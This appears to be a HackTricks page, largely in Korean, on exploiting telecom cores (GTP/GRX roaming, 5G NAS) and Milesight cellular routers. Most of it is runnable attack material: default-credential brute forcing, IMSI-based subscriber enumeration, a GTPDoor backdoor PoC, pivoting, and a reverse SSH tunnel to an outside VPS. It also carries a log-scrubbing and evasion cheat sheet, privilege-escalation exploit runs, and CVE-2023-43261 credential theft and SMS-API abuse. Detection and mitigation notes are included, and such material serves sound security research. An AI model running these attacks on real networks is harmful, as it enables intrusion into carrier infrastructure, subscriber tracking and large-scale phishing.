Telecom Network Exploitation (GTP / Roaming Environments)

Reading time: 12 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

note

모바일 코어 프로토콜 (GPRS Tunnelling Protocol – GTP)은 종종 신뢰도가 부분적인 GRX/IPX 로밍 백본을 통과합니다. 이들이 거의 인증 없이 평문 UDP 위에서 동작하기 때문에, 통신망 경계 내부의 어떤 foothold도 보통 코어 signalling plane에 직접 접근할 수 있습니다. 아래의 메모는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 야생에서 관찰된 공격 기법들을 수집한 것입니다.

1. 정찰 및 초기 접근

1.1 기본 OSS / NE 계정

상당수의 벤더 네트워크 요소는 root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … 와 같은 하드코딩된 SSH/Telnet 사용자를 탑재한 채로 출고됩니다. 전용 워드리스트는 무차별 대입 성공률을 크게 높입니다:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

장치가 관리 VRF만 노출하는 경우, 먼저 jump host를 통해 pivot하세요 (아래 섹션 «SGSN Emu Tunnel» 참조).

1.2 GRX/IPX 내부 호스트 검색

대부분의 GRX 사업자들은 여전히 백본 전반에 걸쳐 ICMP echo를 허용합니다. masscan의 내장 gtpv1 UDP 프로브를 결합하여 GTP-C listeners를 빠르게 매핑하세요:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. 가입자 열거 – cordscan

다음 Go 도구는 GTP-C Create PDP Context Request 패킷을 생성하고 응답을 기록합니다. 각 응답은 조회된 IMSI에 서비스를 제공하는 현재 SGSN / MME를 알려주며, 때로는 가입자가 방문한 PLMN을 보여주기도 합니다.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Key flags:

  • --imsi 대상 가입자 IMSI
  • --oper 홈 / HNI (MCC+MNC)
  • -w 원시 패킷을 pcap에 기록

바이너리 내부의 중요한 상수를 패치하여 스캔 범위를 넓힐 수 있습니다:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. GTP를 통한 코드 실행 – GTPDoor

GTPDoor는 작은 ELF 서비스로 UDP 2123에 바인드하고 들어오는 모든 GTP-C 패킷을 파싱합니다. 페이로드가 사전 공유 태그로 시작하면 나머지는 복호화 (AES-128-CBC)되어 /bin/sh -c로 실행됩니다. stdout/stderr는 Echo Response 메시지로 exfiltrated되어 외부 세션이 전혀 생성되지 않습니다.

Minimal PoC packet (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection:

  • 어떤 호스트가 SGSN IPs로 unbalanced Echo Requests를 전송하는 경우
  • GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)일 때 — 규격에서 벗어남

4. 코어를 통한 Pivoting

4.1 sgsnemu + SOCKS5

OsmoGGSN는 실제 GGSN/PGW를 향해 PDP context를 설정할 수 있는 SGSN emulator를 제공합니다. 협상이 완료되면, Linux는 로밍 피어에서 접근 가능한 새로운 tun0 인터페이스를 받습니다.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

적절한 firewall hair-pinning이 있으면, 이 터널은 signalling-only VLANs를 우회하여 직접 데이터 플레인에 도달합니다.

4.2 SSH Reverse Tunnel over Port 53

DNS는 로밍 인프라에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에서 :53으로 리스닝하도록 노출시키고, 나중에 집에서 다시 접속하세요:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

VPS에서 GatewayPorts yes가 활성화되어 있는지 확인하세요.

5. 은밀 채널

ChannelTransportDecodingNotes
ICMP – EchoBackdoorICMP Echo Req/Rep4바이트 키 + 14바이트 청크 (XOR)완전 수동 리스너, 아웃바운드 트래픽 없음
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) 가 A-레코드 옥텟에 인코딩됨*.nodep 서브도메인을 감시함
GTP – GTPDoorUDP 2123private IE에 AES-128-CBC 블롭정상 GTP-C 통신과 섞여 눈에 띄지 않음

All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.

6. 방어 회피 치트시트

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. 구형 NE에서의 Privilege Escalation

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

정리 팁:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling described in previous sections.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

5G 등록 절차는 NGAP 위에서 NAS(Non-Access Stratum)로 실행된다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증·암호화되지 않는다. 이 보안 전 창은 N2 트래픽을 관찰하거나 변조할 수 있는 경우(예: 코어 내부의 on-path, rogue gNB, 테스트베드) 여러 공격 경로를 허용한다.

등록 흐름(단순화):

  • Registration Request: UE가 SUCI(암호화된 SUPI)와 capabilities를 전송한다.
  • Authentication: AMF/AUSF가 RAND/AUTN을 보내고; UE는 RES*를 반환한다.
  • Security Mode Command/Complete: NAS 무결성과 암호화가 협상되어 활성화된다.
  • PDU Session Establishment: IP/QoS 설정.

랩 설정 팁 (비-RF):

  • Core: Open5GS 기본 배포로 흐름 재현에 충분하다.
  • UE: 시뮬레이터 또는 테스트 UE; Wireshark로 디코드.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Wireshark에서 유용한 display filter:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

예상: UE/USIM은 SUCI(홈 네트워크 공개키로 암호화된 SUPI)를 전송해야 한다. Registration Request에서 평문 SUPI/IMSI를 찾으면 지속적인 가입자 추적을 가능하게 하는 프라이버시 결함을 의미한다.

테스트 방법:

  • InitialUEMessage에서 첫 번째 NAS 메시지를 캡처하고 Mobile Identity IE를 검사한다.
  • Wireshark 빠른 확인:
  • SUCI로 디코드되어야 하며 IMSI가 되어서는 안 된다.
  • 필터 예시: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci가 존재해야 한다; 부재하고 imsi가 존재하면 유출을 나타낸다.

수집 항목:

  • 공개된 경우 MCC/MNC/MSIN; UE별로 기록하고 시간/위치에 따라 추적한다.

완화:

  • SUCI 전용 UE/USIM 강제; 초기 NAS에서 IMSI/SUPI가 발견되면 경고한다.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

배경:

  • UE는 Registration Request의 UE Security Capability IE에서 지원하는 EEA(암호화) 및 EIA(무결성)를 광고한다.
  • 일반 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0는 null 알고리즘이다.

문제:

  • Registration Request가 무결성 보호되지 않기 때문에, on-path 공격자는 capability 비트를 삭제하여 Security Mode Command 동안 이후에 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 비상 서비스가 아닌 경우에도 잘못하여 null 알고리즘을 허용한다.

공격 단계:

  • InitialUEMessage를 가로채 NAS UE Security Capability를 오직 EEA0/EIA0만 광고하도록 수정한다.
  • Sni5Gect로 NAS 메시지를 훅하고 전달 전에 capability 비트를 패치한다.
  • AMF가 null 암호/무결성을 수락하고 EEA0/EIA0로 Security Mode를 완료하는지 관찰한다.

검증/가시성:

  • Wireshark에서 Security Mode Command/Complete 이후 선택된 알고리즘을 확인한다.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

완화 조치(필수):

  • AMF/policy를 구성하여 (예: 긴급 통화 등) 엄격히 요구되는 경우를 제외하고 EEA0/EIA0를 거부하도록 하세요.
  • 가능하면 최소한 EEA2/EIA2를 적용하도록 하고; null algorithms을 협상하는 모든 NAS 보안 컨텍스트에 대해 로깅 및 경보를 설정하세요.

9.3 초기 Registration Request 재생 (pre-security NAS)

초기 NAS는 무결성과 신선도가 없으므로, 캡처한 InitialUEMessage+Registration Request를 AMF로 재생할 수 있습니다.

일치하는 재생을 전달하기 위한 5GReplay용 PoC 규칙:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: AMF/SMF/UPF를 띄워 core를 에뮬레이트하고 N2 (NGAP) 및 NAS를 관찰.
  • Wireshark: NGAP/NAS의 디코딩을 확인; 위의 필터를 적용해 Registration을 분리.
  • 5GReplay: Registration을 캡처한 후 규칙에 따라 특정 NGAP + NAS 메시지를 replay.
  • Sni5Gect: NAS control-plane을 실시간으로 sniff/modify/inject하여 null algorithms을 강제하거나 인증 시퀀스를 교란.

9.5 Defensive checklist

  • Registration Request를 지속적으로 검사하여 평문 SUPI/IMSI가 노출되는지 확인; 문제가 되는 장치/USIM을 차단.
  • EEA0/EIA0는 엄격히 정의된 비상 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
  • 무단 gNB/AMF, 예상치 못한 N2 피어 등 악성 또는 잘못 구성된 인프라를 탐지.
  • null algorithms를 초래하거나 InitialUEMessage의 빈번한 재생(replays)이 발생하는 NAS 보안 모드에 대해 경보.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

산업용 셀룰러 라우터의 노출된 web API를 악용하면 은밀한 통신사 출처의 smishing을 대규모로 수행할 수 있다. Milesight UR 시리즈 라우터는 /cgi에 JSON-RPC 스타일의 엔드포인트를 노출한다. 잘못 구성된 경우, 이 API는 인증 없이 쿼리되어 SMS inbox/outbox를 나열하거나 일부 배포에서는 SMS를 전송할 수 있다.

Typical unauthenticated requests (same structure for inbox/outbox):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

응답에는 timestamp, content, phone_number (E.164), 그리고 status (success 또는 failed) 같은 필드가 포함됩니다. 동일한 번호로의 반복된 failed 전송은 종종 attacker의 “capability checks”로, blasting 전에 라우터/SIM이 전달 가능한지 확인하기 위한 것입니다.

SMS 메타데이터를 exfiltrate하기 위한 예시 curl:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

auth artifacts에 대한 노트:

  • 일부 트래픽에는 auth cookie가 포함될 수 있지만, 관리 인터페이스가 Internet-facing일 때 노출된 장치의 상당 부분은 query_inbox/query_outbox에 대해 아무 인증 없이 응답한다.
  • 인증을 요구하는 환경에서는 previously-leaked credentials (see below)가 접근을 복원한다.

Credential recovery path – CVE-2023-43261:

  • 영향받는 제품군: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • 문제: web-served logs (예: httpd.log)가 /lang/log/ 아래에서 인증 없이 접근 가능하며, 클라이언트 측 JavaScript에 존재하는 하드코딩된 AES key/IV로 암호화된 password를 포함한 admin login events를 담고 있다.
  • Practical access and decrypt:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

leaked 비밀번호를 복호화하기 위한 최소한의 Python (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

헌팅 및 탐지 아이디어 (네트워크):

  • 인증되지 않은 POST /cgi 요청의 JSON 바디에 base/functionquery_inbox 또는 query_outbox로 설정된 경우 경보.
  • 같은 출발지 IP에서 여러 고유 번호에 걸쳐 status":"failed" 항목이 뒤따르는 반복적인 POST /cgi 폭주를 추적 (capability testing).
  • 인터넷에 노출된 Milesight 라우터를 목록화; 관리 접근을 VPN으로 제한; 필요하지 않으면 SMS 기능 비활성화; ≥ v35.3.0.7로 업그레이드; 자격 증명 교체 및 알 수 없는 발신에 대한 SMS 로그 검토.

Shodan/OSINT pivots (examples seen in the wild):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.


탐지 아이디어

  1. SGSN/GGSN 이외의 어떤 장치가 Create PDP Context Requests를 생성하는 경우.
  2. 내부 IP에서 Non-standard ports (53, 80, 443)으로 SSH handshakes를 수신하는 경우.
  3. 상응하는 Echo Responses 없이 빈번한 Echo Requests – GTPDoor 비컨일 가능성.
  4. 식별자/시퀀스 필드가 크고 0이 아닌 값인 ICMP echo-reply 트래픽의 높은 비율.
  5. 5G: InitialUEMessage가 동일 엔드포인트에서 반복되는 NAS Registration Requests를 포함하는 경우 (replay signal).
  6. 5G: 비응급 상황에서 NAS Security Mode가 EEA0/EIA0를 협상하는 경우.

참조

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기